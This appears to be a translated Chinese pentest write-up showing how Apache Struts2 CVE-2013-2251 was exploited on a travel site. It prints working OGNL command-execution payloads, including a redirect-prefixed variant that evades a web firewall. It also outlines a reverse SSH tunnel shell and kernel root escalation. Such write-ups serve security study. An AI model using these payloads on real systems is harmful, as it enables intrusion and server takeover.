本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞。简而言之, 通过操纵以“action:”/”redirect:”/”redirectAction:”为前缀的参数引入的漏洞,允许在使用<Struts 2.3.15作为框架的Java Web应用程序中执行远程命令。

现在,当这个漏洞以病毒式疯狂传播时,主要的应用防火墙厂商开始更新它们的规则引擎和检测技术,以防止它发生。 但是作者不仅能够绕过防火墙并获得远程代码执行,还能够通过利用内核漏洞来提权到以root用户身份获取服务器权限。

当作者在测试旅行预订网站时,是 因为为了找到应用程序是否运行在易受攻击的Apache Struts框架上的漏洞利用,只需检查以下易受攻击的参数-“action, redirect,redirectAction”和正确的有效攻击负载,通过google找到利用poc的博客(必须构建一个OGNL表达式),http://blog.opensecurityresearch.com/2014/02/attacking-struts-with-cve-2013-2251.html ,下面是用于运行命令“ifconfig”的有效负载。

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

但正如预料的那样,它被应用防火墙阻止了,并将重定向到一个bot机器页面 。

当这样的事情发生在作者身上时,正如前面指出的那样,知道哪些参数易受攻击,其中之一是在上述请求中使用的“redirect”参数。 “redirect”,是的,你觉得它是正确的,让我们尝试在这里重定向,只是把它重定向到http://www.goal.com

正如你所看到的那样,作者得到了302重定向到位置http://www.goal.com ,所以之前的ifconfig命令有效载荷被阻止了,这个重定向方法,给了作者一个绕过防火墙的思路,所以,将上面的有效负载进行修改如下:

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

并发起请求:

下面显示了能够绕过防火墙并获得运行的“ifconfig”命令输出信息:

下一个目标是获得服务器的远程shell,作者使用反向SSH隧道和公钥认证来尝试并获取shell,它允许SSH用户在不输入密码的情况下登录。 因此,作者必须将攻击者服务器的ssh公钥放入受害服务器的授权路径下~/.ssh/authorized_keys,为了获取授权身份,并且获取为反向ssh隧道,还必须添加受害ssh服务器的id_rsa.pub公钥。 为了阐述上面2个关键词的概念并理解公钥认证的概念-----id_rsa.pub是您添加到其他主机的authorized_keys文件以允许您以该用户身份登录的公钥。 authorized_keys是允许登录到特定服务器上的特定帐户的公钥列表。

第一步 - 使用RCE查找受害服务器的id_rsa.pub文件位置

第二步 - 将authorized_keys从受害者服务器复制到攻击者服务器上

第三步 - 将修改后的authorized_keys从攻击者服务器复制回来,通过读取id_rsa.pub获得shell.

最后一步 - SSH在攻击者机器上使用反向隧道,所以运行了如下命令行:

能够获得服务器的远程shell,但没以root登陆的权限,这就意味着只有有限的权利访问文件和命令执行。 现在为了获取以root用户身份登录的权限,作者首先查看当前受害机器上运行的内核版本是什么:

因此发现了内核版本是2.6.32,通过google查找到利用的CVE,该CVE可

容易进行账户提权和漏洞利用----https: //github.com/realtalk/cve-2013-2094 ,最终够获得root用户权限。

这就是如何通过利用apache strut 2漏洞和内核版本漏洞利用结合来获取以root用户服务器的远程shell。

一次绕过防火墙获取RCE以及提权到root权限的渗透过程的更多相关文章

  1. 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

    本文作者:i春秋签约作家——酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而 ...

  2. Linux 曝出严重安全漏洞,受限用户亦可提权至 Root 身份运行任意命令!(内附解决方案)

    本文首发于:微信公众号「运维之美」,公众号 ID:Hi-Linux. 「运维之美」是一个有情怀.有态度,专注于 Linux 运维相关技术文章分享的公众号.公众号致力于为广大运维工作者分享各类技术文章和 ...

  3. Centos普通用户提权至ROOT

    1.利用/bin/ping的漏洞普通用户提权.(rws中的s) [root@localhost ~]# ls -l /bin/ping -rwsr-xr-x. root root 9月 /bin/pi ...

  4. Android 的提权(root)原理【转】

    Android的内核就是Linux,所以Android获取root其实和Linux获取root权限是一回事儿. su还需要所有者(Owner)是root才能正确的给其他程序赋予root权限.linux ...

  5. 利用IIS6提权获得管理员权限

    IIS6也是一个比较古老的提权EXP了,是通过利用WMI的权限来执行命令. 目标机:漏洞巨多的Win2003 下面说一下通过IIS6在已用菜刀连接上的服务器上运用IIS6获得管理员权限的过程. 1.将 ...

  6. windows中命令行窗口提权到管理员权限.windows 的 sudo

    命令行环境中获取管理员权限 第一种方法 (最爽,但是被运行的命令会被当成新进程运行,运行完成后就自动关闭了.) 把以下代码复制到记事本中保存为sudo.vbs 然后移动到PATH任意目录中,如wind ...

  7. 基于RedHat发行的Apache Tomcat本地提权漏洞

    描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...

  8. (CVE-2016-5195)脏牛本地提权

    简要分析 该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏, 导致出现写数据到进程地址空间内只读内存 ...

  9. Linux提权手法整理

    之前写过了windows提权小结,这下一篇水什么就有了嘛,于是有了这篇水文,整理一下Linux提权 前篇windows提权小结 ,链接送上 https://www.cnblogs.com/lcxblo ...

随机推荐

  1. k8s环境搭建--基于minik8s方法

    minik8s 安装 关闭selinux.开启ipv6 sudo bash selinux_ipv6.sh 下载kubectl和minikube 下载minikube,因为国外的源被墙了,所以只能用阿 ...

  2. 《how tomcat works》阅读笔记 - 2 - 门面设计模式,避免强制转换

    在第二章 2.3节中 try { servlet = (Servlet) myClass.newInstance(); servlet.service((ServletRequest) request ...

  3. python - 定时清理ES 索引

    只保留三天 #!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import datetime # 时间转化为字符串 now_time = ...

  4. ubuntu安装中文输入法必看

    ubuntu安装中文输入法必看以下两篇文章,按照顺序来做: http://www.2cto.com/os/201207/144189.html http://www.cnblogs.com/slide ...

  5. excel中如何将时间戳转换为日期格式

    https://www.cnblogs.com/xueluozhangxin/p/5868225.html =TEXT((B2/1000+8*3600)/86400+70*365+19,"y ...

  6. 使用sql查询mysql/oracle/sql server/gp数据库中指定表的字段信息(字段名/字段类型/字段长度/是否是主键/是否为空)

    1,根据数据库类型拼接不同URL /** * 根据类型不同拼接连接的URL * @param dbType 1:mysql.2:oracle.3:sql server.4:gp * @param ip ...

  7. Aspose.words Java基于模板生成word之纯文本内容

    一,创建word模板 1.新建一个word文档 2.分别给四个参数设置域 (1)将鼠标置于想要设置域的地方 (2)设置域名 (3)设置好之后如下图所示 二,项目 1,引入maven依赖 <dep ...

  8. 【Alpha】Task分配与计划发布

     团队项目链接 以上大概是我们的任务分配,根据目前的预计时间来看,到α版本项目稳定下来至少需要440小时的开发时间才能完成. 项目最大的问题点和难点在于其数据量非常之大,计算模块要求非常之多,想象一下 ...

  9. LCA(最近公共祖先)算法

    参考博客:https://blog.csdn.net/my_sunshine26/article/details/72717112 首先看一下定义,来自于百度百科 LCA(Lowest Common ...

  10. ns3 回调机制

    (1)目的:为了实现两个模块之间的通信(这两个模块没有任何依赖关系) (2) C语言中的函数指针 int (*a)(int q) = 0; //声明一个函数指针a,初始值设为0 //. //. //. ...